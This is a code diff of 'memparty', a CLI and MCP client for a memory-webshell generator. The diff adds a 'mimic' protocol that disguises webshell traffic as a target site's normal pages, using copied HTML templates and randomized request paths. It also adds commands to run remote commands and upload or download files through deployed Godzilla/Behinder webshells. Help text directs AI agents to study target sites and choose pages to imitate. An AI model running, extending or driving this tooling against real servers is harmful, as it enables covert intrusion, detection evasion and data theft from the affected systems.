+ or AI agent writes it \u2014 see 'memparty profile init')
3076
+ 3. 'connect' does a credential round-trip using a dynamic path
3077
+ 4. 'exec' runs --cmd through the same channel
3078
+ Watch the printed request URL in step 3/4: it changes every run.
3079
+ `
3080
+ ).action(async (opts, cmd) => {
3081
+ const globals = cmd.optsWithGlobals();
3082
+ const timeoutMs = Number.parseInt(globals.timeout ?? "30000", 10);
3083
+ const log = (line) => {
3084
+ if (!opts.json) process.stdout.write(`${line}
3085
+ `);
3086
+ };
3087
+ const server = await startMimicServer();
3088
+ try {
3089
+ log(`[1/4] fake business site up at ${server.url}`);
3090
+ const profile = demoProfile(server.url.replace(/\/+$/, ""));
3091
+ saveProfile(profile);
3092
+ log(
3093
+ `[2/4] profile 'demo' loaded: title=${JSON.stringify(profile.templates[0].title)}, paths=[${profile.paths.join(", ")}], templates=${profile.templates.length}`
3094
+ );
3095
+ const protocol = getProtocol("mimic");
3096
+ const conn = {
3097
+ url: server.url,
3098
+ tool: "mimic",
3099
+ pass: "pass",
3100
+ key: "key",
3101
+ extraHeaders: {},
3102
+ profile: "demo"
3103
+ };
3104
+ const common = { timeoutMs };
3105
+ const options = { profile: "demo", dynamicPath: true };
3106
+ const test = await protocol.test({ conn, common, options });
3107
+ if (!test.ok) throw new Error(`connect failed: ${test.error}`);
3108
+ log(`[3/4] connect ok \u2014 ${test.detail}`);
3109
+ const result = await protocol.exec({ conn, common, options }, opts.cmd);
3110
+ if (!result.ok) throw new Error(`exec failed: ${result.error}`);
3111
+ log(`[4/4] exec ok \u2014 ${JSON.stringify(opts.cmd)} output:`);
3112
+ if (opts.json) {
3113
+ process.stdout.write(
3114
+ `${JSON.stringify({ ok: true, profile, test, exec: result }, null, 2)}
3115
+ `
3116
+ );
3117
+ } else {
3118
+ process.stdout.write(`${result.output ?? ""}`);
3119
+ if (result.output && !result.output.endsWith("\n")) process.stdout.write("\n");
3120
+ }
3121
+ } catch (err) {
3122
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
3123
+ process.exitCode = 1;
3124
+ } finally {
3125
+ await server.close();
3126
+ }
3127
+ });
3128
+ }
3129
+
1880
3130
  // src/commands/exec.ts
1881
3131
  import { Option as Option2 } from "commander";
1882
3132
  function parseExtraHeaders2(lines) {
@@ -1892,10 +3142,10 @@ function parseExtraHeaders2(lines) {
1892
3142
  }
1893
3143
  function registerExecCommand(program) {
1894
3144
  program.command("exec").description(
1895
- "Execute a command on a deployed webshell (Godzilla / Behinder) and print its output"
3145
+ "Execute a command on a deployed webshell and print its output"
1896
3146
  ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
1897
- new Option2("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
1898
- ).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").addOption(
3147
+ new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
3148
+ ).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").addOption(
1899
3149
  new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
1900
3150
  ).option(
1901
3151
  "--header-name <name>",
@@ -1903,7 +3153,7 @@ function registerExecCommand(program) {
1903
3153
  ).option(
1904
3154
  "--header-value <value>",
1905
3155
  "gate header value reported by gen (shellToolConfig.headerValue)"
1906
- ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
3156
+ ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
1907
3157
  "after",
1908
3158
  `
1909
3159
  Examples:
@@ -1932,7 +3182,8 @@ the OS inside its payload, so --os does not apply.
1932
3182
  headerName: opts.headerName,
1933
3183
  headerValue: opts.headerValue,
1934
3184
  extraHeaders: parseExtraHeaders2(opts.header),
1935
- insecure: opts.insecure
3185
+ insecure: opts.insecure,
3186
+ profile: opts.profile
1936
3187
  });
1937
3188
  } catch (err) {
1938
3189
  reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -1947,28 +3198,23 @@ the OS inside its payload, so --os does not apply.
1947
3198
  insecure: conn.insecure
1948
3199
  };
1949
3200
  let result;
1950
- switch (conn.tool) {
1951
- case "godzilla": {
1952
- const gdzOpts = { ...common, os: opts.os };
1953
- result = await execGodzilla(
1954
- conn.url,
1955
- conn.pass ?? "pass",
1956
- conn.key ?? "key",
1957
- opts.cmd,
1958
- gdzOpts
1959
- );
1960
- break;
1961
- }
1962
- case "behinder":
1963
- result = await execBehinder(conn.url, conn.pass ?? "rebeyond", opts.cmd, common);
1964
- break;
1965
- default:
1966
- process.stderr.write(
1967
- `Error: exec supports godzilla | behinder (got ${String(conn.tool)})
1968
- `
1969
- );
3201
+ try {
3202
+ const protocol = requireProtocol(conn.tool);
3203
+ if (!protocol.exec) {
3204
+ reportError(unsupportedMessage(protocol, "exec"), opts.json ? ["--json"] : []);
1970
3205
  process.exitCode = 1;
1971
3206
  return;
3207
+ }
3208
+ const options = {
3209
+ os: opts.os,
3210
+ profile: conn.profile,
3211
+ dynamicPath: opts.dynamicPath
3212
+ };
3213
+ result = await protocol.exec({ conn, common, options }, opts.cmd);
3214
+ } catch (err) {
3215
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
3216
+ process.exitCode = 1;
3217
+ return;
1972
3218
  }
1973
3219
  let savedAs;
1974
3220
  if (result.ok && conn.targetName === void 0 && opts.save !== false) {
@@ -2008,11 +3254,11 @@ the OS inside its payload, so --os does not apply.
2008
3254
  }
2009
3255
 
2010
3256
  // src/commands/gen.ts
2011
- import { readFileSync as readFileSync5 } from "fs";
3257
+ import { readFileSync as readFileSync7 } from "fs";
2012
3258
  import { Option as Option3 } from "commander";
2013
3259
 
2014
3260
  // src/core/output.ts
2015
- import { writeFileSync as writeFileSync2 } from "fs";
3261
+ import { writeFileSync as writeFileSync4 } from "fs";
2016
3262
  var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
2017
3263
  function hasBinaryExtension(path) {
2018
3264
  const lower = path.toLowerCase();
@@ -2024,7 +3270,7 @@ function shouldDecode(opts) {
2024
3270
  return false;
2025
3271
  }
2026
3272
  function emitPayload(payload, opts, sinks = {}) {
2027
- const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync2(p, d));
3273
+ const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync4(p, d));
2028
3274
  const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
2029
3275
  const decoded = shouldDecode(opts);
2030
3276
  if (opts.outFile) {
@@ -2047,32 +3293,7 @@ function emitPayload(payload, opts, sinks = {}) {
2047
3293
  }
2048
3294
 
2049
3295
  // src/core/request-builder.ts
2050
- import { randomInt } from "crypto";
2051
-
2052
- // src/core/jdk.ts
2053
- var JDK_VERSIONS = {
2054
- java6: 50,
2055
- java8: 52,
2056
- java9: 53,
2057
- java11: 55,
2058
- java17: 61,
2059
- java21: 65
2060
- };
2061
- function resolveJreVersion(input3) {
2062
- if (input3 === void 0 || input3 === "") return void 0;
2063
- if (typeof input3 === "number") return input3;
2064
- const normalized = input3.trim().toLowerCase();
2065
- if (normalized in JDK_VERSIONS) return JDK_VERSIONS[normalized];
2066
- const withPrefix = `java${normalized}`;
2067
- if (withPrefix in JDK_VERSIONS) return JDK_VERSIONS[withPrefix];
2068
- const num = Number(normalized);
2069
- if (Number.isInteger(num) && num > 0) return num;
2070
- throw new Error(
2071
- `Invalid JDK version "${input3}". Use one of: ${Object.keys(JDK_VERSIONS).join(", ")}, or a class-file major version like 52.`
2072
- );
2073
- }
2074
-
2075
- // src/core/request-builder.ts
3296
+ import { randomInt as randomInt3 } from "crypto";
2076
3297
  var SPRING_GZIP_JDK17_RELATED_PACKERS = /* @__PURE__ */ new Set([
2077
3298
  "SpEL",
2078
3299
  "SpELSpringGzipJDK17",
@@ -2084,7 +3305,7 @@ var SPRING_GZIP_JDK17_RELATED_PACKERS = /* @__PURE__ */ new Set([
2084
3305
  var UPPERCASE_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
2085
3306
  var CLASS_NAME_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
2086
3307
  function randomChar(chars) {
2087
- return chars[randomInt(chars.length)];
3308
+ return chars[randomInt3(chars.length)];
2088
3309
  }
2089
3310
  function generateSpringExpressionInjectorClassName() {
2090
3311
  const randomName = Array.from({ length: 5 }, () => randomChar(CLASS_NAME_LETTERS)).join("");
@@ -2153,7 +3374,7 @@ function buildProbeRequest(opts) {
2153
3374
  }
2154
3375
 
2155
3376
  // src/wizard/memshell-wizard.ts
2156
- import { readFileSync as readFileSync4 } from "fs";
3377
+ import { readFileSync as readFileSync6 } from "fs";
2157
3378
  import { checkbox, confirm, input, select, Separator } from "@inquirer/prompts";
2158
3379
  var JDK_CHOICES = [
2159
3380
  { name: "server default", value: "" },
@@ -2221,7 +3442,7 @@ async function runMemShellWizard(client) {
2221
3442
  }
2222
3443
  case "Custom": {
2223
3444
  const file = await input({ message: "Path to custom .class file" });
2224
- opts.shellClassBase64 = readFileSync4(file).toString("base64");
3445
+ opts.shellClassBase64 = readFileSync6(file).toString("base64");
2225
3446
  break;
2226
3447
  }
2227
3448
  default:
@@ -2262,7 +3483,7 @@ var REQUIRED = ["server", "tool", "type", "packer"];
2262
3483
  function toOptions(o) {
2263
3484
  let shellClassBase64 = o.shellClassBase64;
2264
3485
  if (o.shellClassFile) {
2265
- shellClassBase64 = readFileSync5(o.shellClassFile).toString("base64");
3486
+ shellClassBase64 = readFileSync7(o.shellClassFile).toString("base64");
2266
3487
  }
2267
3488
  return {
2268
3489
  server: o.server,
@@ -2446,12 +3667,12 @@ Examples:
2446
3667
  // src/mcp/server.ts
2447
3668
  import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
2448
3669
  import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
2449
- import { writeFileSync as writeFileSync3 } from "fs";
3670
+ import { writeFileSync as writeFileSync5 } from "fs";
2450
3671
  import { z } from "zod";
2451
3672
 
2452
3673
  // src/core/localfile.ts
2453
- import { existsSync as existsSync3, readFileSync as readFileSync6, statSync } from "fs";
2454
- import { dirname as dirname3, join as join4, resolve } from "path";
3674
+ import { existsSync as existsSync5, readFileSync as readFileSync8, statSync } from "fs";
3675
+ import { dirname as dirname3, join as join6, resolve } from "path";
2455
3676
  var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
2456
3677
  function remoteBasename(remotePath) {
2457
3678
  const trimmed = remotePath.replace(/[/\\]+$/, "");
@@ -2468,18 +3689,18 @@ function resolveDownloadPath(remotePath, localArg, force) {
2468
3689
  );
2469
3690
  }
2470
3691
  target = name;
2471
- } else if (existsSync3(localArg) && statSync(localArg).isDirectory()) {
3692
+ } else if (existsSync5(localArg) && statSync(localArg).isDirectory()) {
2472
3693
  if (!name) {
2473
3694
  throw new Error(
2474
3695
  `cannot derive a local filename from remote path ${JSON.stringify(remotePath)} \u2014 pass -o with a file path`
2475
3696
  );
2476
3697
  }
2477
- target = join4(localArg, name);
3698
+ target = join6(localArg, name);
2478
3699
  } else {
2479
3700
  target = localArg;
2480
3701
  }
2481
3702
  const abs = resolve(target);
2482
- if (existsSync3(abs)) {
3703
+ if (existsSync5(abs)) {
2483
3704
  if (statSync(abs).isDirectory()) {
2484
3705
  throw new Error(`local path ${target} is a directory \u2014 pass -o with a file path`);
2485
3706
  }
@@ -2488,13 +3709,13 @@ function resolveDownloadPath(remotePath, localArg, force) {
2488
3709
  }
2489
3710
  }
2490
3711
  const parent = dirname3(abs);
2491
- if (!existsSync3(parent) || !statSync(parent).isDirectory()) {
3712
+ if (!existsSync5(parent) || !statSync(parent).isDirectory()) {
2492
3713
  throw new Error(`local directory ${parent} does not exist`);
2493
3714
  }
2494
3715
  return abs;
2495
3716
  }
2496
3717
  function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
2497
- if (!existsSync3(localPath)) {
3718
+ if (!existsSync5(localPath)) {
2498
3719
  throw new Error(`local file ${localPath} does not exist`);
2499
3720
  }
2500
3721
  const stat = statSync(localPath);
@@ -2506,7 +3727,7 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
2506
3727
  `local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
2507
3728
  );
2508
3729
  }
2509
- return readFileSync6(localPath);
3730
+ return readFileSync8(localPath);
2510
3731
  }
2511
3732
 
2512
3733
  // src/version.ts
@@ -2979,7 +4200,7 @@ function createMcpServer(client) {
2979
4200
  }
2980
4201
  if (result.ok && result.data !== void 0) {
2981
4202
  try {
2982
- writeFileSync3(localPath, result.data);
4203
+ writeFileSync5(localPath, result.data);
2983
4204
  } catch (err) {
2984
4205
  result = {
2985
4206
  ...result,
@@ -3272,7 +4493,7 @@ function registerMcpCommand(program) {
3272
4493
  }
3273
4494
 
3274
4495
  // src/commands/parse-classname.ts
3275
- import { readFileSync as readFileSync7 } from "fs";
4496
+ import { readFileSync as readFileSync9 } from "fs";
3276
4497
  function registerParseClassNameCommand(program) {
3277
4498
  program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").addHelpText(
3278
4499
  "after",
@@ -3285,7 +4506,7 @@ Examples:
3285
4506
  ).action(async (base64, opts, cmd) => {
3286
4507
  let classBase64;
3287
4508
  if (opts.file) {
3288
- classBase64 = readFileSync7(opts.file).toString("base64");
4509
+ classBase64 = readFileSync9(opts.file).toString("base64");
3289
4510
  } else if (base64) {
3290
4511
  classBase64 = base64.trim();
3291
4512
  } else {
@@ -3490,6 +4711,88 @@ The server name reported by '-c Server' is the value to pass as
3490
4711
  });
3491
4712
  }
3492
4713
 
4714
+ // src/commands/profile.ts
4715
+ function registerProfileCommand(program) {
4716
+ const cmd = program.command("profile").description("Manage site profiles for the mimic protocol (init / list / show / check)");
4717
+ cmd.command("init").description("Write a skeleton profile JSON for hand-authoring").argument("<name>", "profile name (letters, digits, '.', '_', '-')").requiredOption("--site <origin>", "site origin, e.g. http://target:8080").option("--json", "output raw JSON").action((name, opts) => {
4718
+ try {
4719
+ const profile = profileSkeleton(name, opts.site);
4720
+ saveProfile(profile);
4721
+ if (opts.json) {
4722
+ process.stdout.write(`${JSON.stringify({ ok: true, ...profile }, null, 2)}
4723
+ `);
4724
+ } else {
4725
+ process.stdout.write(
4726
+ `profile skeleton written -> ${profilePath(name)}
4727
+ now edit it: paste a real page's HTML into "template", set "title",
4728
+ and fill "paths" with the site's path vocabulary (e.g. ["/api/", "/news/"]).
4729
+ AI agents: read the site's pages yourself and pick a high-traffic,
4730
+ self-contained page \u2014 see the "Site-mimicking traffic (mimic protocol)"
4731
+ section of the memshell-party skill.
4732
+ `
4733
+ );
4734
+ }
4735
+ } catch (err) {
4736
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
4737
+ process.exitCode = 1;
4738
+ }
4739
+ });
4740
+ cmd.command("list").description("List saved profiles").option("--json", "output raw JSON").action((opts) => {
4741
+ const names = listProfiles();
4742
+ if (opts.json) {
4743
+ process.stdout.write(`${JSON.stringify({ profiles: names }, null, 2)}
4744
+ `);
4745
+ } else {
4746
+ process.stdout.write(names.length > 0 ? `${names.join("\n")}
4747
+ ` : "(no profiles yet)\n");
4748
+ }
4749
+ });
4750
+ cmd.command("show").description("Print a saved profile").argument("<name>", "profile name").option("--json", "output raw JSON (default)").action((name) => {
4751
+ try {
4752
+ const profile = loadProfile(name);
4753
+ process.stdout.write(`${JSON.stringify(profile, null, 2)}
4754
+ `);
4755
+ } catch (err) {
4756
+ reportError(err instanceof Error ? err.message : String(err), []);
4757
+ process.exitCode = 1;
4758
+ }
4759
+ });
4760
+ cmd.command("check").description("Validate a saved profile (schema + basic sanity), exit 0 when valid").argument("<name>", "profile name").option("--json", "output raw JSON").addHelpText(
4761
+ "after",
4762
+ `
4763
+ Examples:
4764
+ $ memparty profile check acme
4765
+ $ memparty profile check acme --json
4766
+ `
4767
+ ).action((name, opts) => {
4768
+ try {
4769
+ const profile = loadProfile(name);
4770
+ if (opts.json) {
4771
+ process.stdout.write(`${JSON.stringify({ ok: true, name }, null, 2)}
4772
+ `);
4773
+ } else {
4774
+ const templates = profileTemplates(profile);
4775
+ const lines = templates.map(
4776
+ (t, i) => ` tpl[${i}]: ${t.template.length} bytes (${t.contentType}) ${t.title || "(no title)"}`
4777
+ );
4778
+ const shapes = profileRequests(profile).map((r) => `${r.secretField}${r.secretIn && r.secretIn !== "body" ? ` (${r.secretIn})` : ""}`).join(", ");
4779
+ const requestLine = shapes ? ` request: ${shapes}
4780
+ ` : "";
4781
+ process.stdout.write(
4782
+ `profile '${name}' is valid
4783
+ site: ${profile.site}
4784
+ ${lines.join("\n")}
4785
+ ` + requestLine + ` paths: ${profile.paths.join(" ") || "(none \u2014 --dynamic-path will be a no-op)"}
4786
+ `
4787
+ );
4788
+ }
4789
+ } catch (err) {
4790
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
4791
+ process.exitCode = 1;
4792
+ }
4793
+ });
4794
+ }
4795
+
3493
4796
  // src/commands/target.ts
3494
4797
  import { Option as Option6 } from "commander";
3495
4798
  function parseExtraHeaders3(lines) {
@@ -3687,7 +4990,7 @@ save is for choosing the name by hand.
3687
4990
  }
3688
4991
 
3689
4992
  // src/commands/transfer.ts
3690
- import { writeFileSync as writeFileSync4 } from "fs";
4993
+ import { writeFileSync as writeFileSync6 } from "fs";
3691
4994
  import { Option as Option7 } from "commander";
3692
4995
  function parseExtraHeaders4(lines) {
3693
4996
  const headers = {};
@@ -3759,9 +5062,9 @@ function printResult(result, localPath, savedAs, json) {
3759
5062
  }
3760
5063
  }
3761
5064
  function registerDownloadCommand(program) {
3762
- program.command("download").description("Download a file from a deployed webshell (Godzilla / Behinder)").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
3763
- new Option7("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
3764
- ).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
5065
+ program.command("download").description("Download a file from a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
5066
+ new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
5067
+ ).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
3765
5068
  "--remote-charset <label>",
3766
5069
  "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
3767
5070
  ).option(
@@ -3809,31 +5112,24 @@ is never overwritten unless --force is given.
3809
5112
  return;
3810
5113
  }
3811
5114
  let result;
3812
- switch (conn.tool) {
3813
- case "godzilla":
3814
- result = await downloadGodzilla(
3815
- conn.url,
3816
- conn.pass ?? "pass",
3817
- conn.key ?? "key",
3818
- remotePath,
3819
- { ...common, remoteCharset: opts.remoteCharset }
3820
- );
3821
- break;
3822
- case "behinder":
3823
- result = await downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common);
3824
- break;
3825
- default:
3826
- process.stderr.write(
3827
- `Error: download supports godzilla | behinder (got ${String(conn.tool)})
3828
- `
3829
- );
5115
+ try {
5116
+ const protocol = requireProtocol(conn.tool);
5117
+ if (!protocol.download) {
5118
+ reportError(unsupportedMessage(protocol, "download"), opts.json ? ["--json"] : []);
3830
5119
  process.exitCode = 1;
3831
5120
  return;
5121
+ }
5122
+ const options = { remoteCharset: opts.remoteCharset };
5123
+ result = await protocol.download({ conn, common, options }, remotePath);
5124
+ } catch (err) {
5125
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
5126
+ process.exitCode = 1;
5127
+ return;
3832
5128
  }
3833
5129
  let writeError;
3834
5130
  if (result.ok && result.data !== void 0) {
3835
5131
  try {
3836
- writeFileSync4(localPath, result.data);
5132
+ writeFileSync6(localPath, result.data);
3837
5133
  } catch (err) {
3838
5134
  writeError = `download succeeded but writing ${localPath} failed: ${err instanceof Error ? err.message : String(err)}`;
3839
5135
  result = { ...result, ok: false, error: writeError };
@@ -3857,9 +5153,9 @@ is never overwritten unless --force is given.
3857
5153
  });
3858
5154
  }
3859
5155
  function registerUploadCommand(program) {
3860
- program.command("upload").description("Upload a local file to a deployed webshell (Godzilla / Behinder)").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
3861
- new Option7("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder"])
3862
- ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
5156
+ program.command("upload").description("Upload a local file to a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
5157
+ new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
5158
+ ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
3863
5159
  "--remote-charset <label>",
3864
5160
  "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
3865
5161
  ).option(
@@ -3908,27 +5204,19 @@ chunk aborts the transfer \u2014 the remote file may be left partial.
3908
5204
  return;
3909
5205
  }
3910
5206
  let result;
3911
- switch (conn.tool) {
3912
- case "godzilla":
3913
- result = await uploadGodzilla(
3914
- conn.url,
3915
- conn.pass ?? "pass",
3916
- conn.key ?? "key",
3917
- remotePath,
3918
- data,
3919
- { ...common, remoteCharset: opts.remoteCharset }
3920
- );
3921
- break;
3922
- case "behinder":
3923
- result = await uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common);
3924
- break;
3925
- default:
3926
- process.stderr.write(
3927
- `Error: upload supports godzilla | behinder (got ${String(conn.tool)})
3928
- `
3929
- );
5207
+ try {
5208
+ const protocol = requireProtocol(conn.tool);
5209
+ if (!protocol.upload) {
5210
+ reportError(unsupportedMessage(protocol, "upload"), opts.json ? ["--json"] : []);
3930
5211
  process.exitCode = 1;
3931
5212
  return;
5213
+ }
5214
+ const options = { remoteCharset: opts.remoteCharset };
5215
+ result = await protocol.upload({ conn, common, options }, remotePath, data);
5216
+ } catch (err) {
5217
+ reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
5218
+ process.exitCode = 1;
5219
+ return;
3932
5220
  }
3933
5221
  const savedAs = result.ok ? maybeAutoSave(conn, opts) : void 0;
3934
5222
  logOp({
@@ -4083,7 +5371,7 @@ async function startRepl(build) {
4083
5371
 
4084
5372
  // src/cli.ts
4085
5373
  function buildProgram() {
4086
- const program = new Command9();
5374
+ const program = new Command10();
4087
5375
  program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
4088
5376
  "--api <url>",
4089
5377
  `MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
@@ -4112,6 +5400,9 @@ Every subcommand has its own examples: memparty <command> --help
4112
5400
  registerTargetCommand(program);
4113
5401
  registerLogCommand(program);
4114
5402
  registerParseClassNameCommand(program);
5403
+ registerProfileCommand(program);
5404
+ registerCustomCommand(program);
5405
+ registerDemoCommand(program);
4115
5406
  registerVersionCommand(program);
4116
5407
  registerMcpCommand(program);
4117
5408
  return program;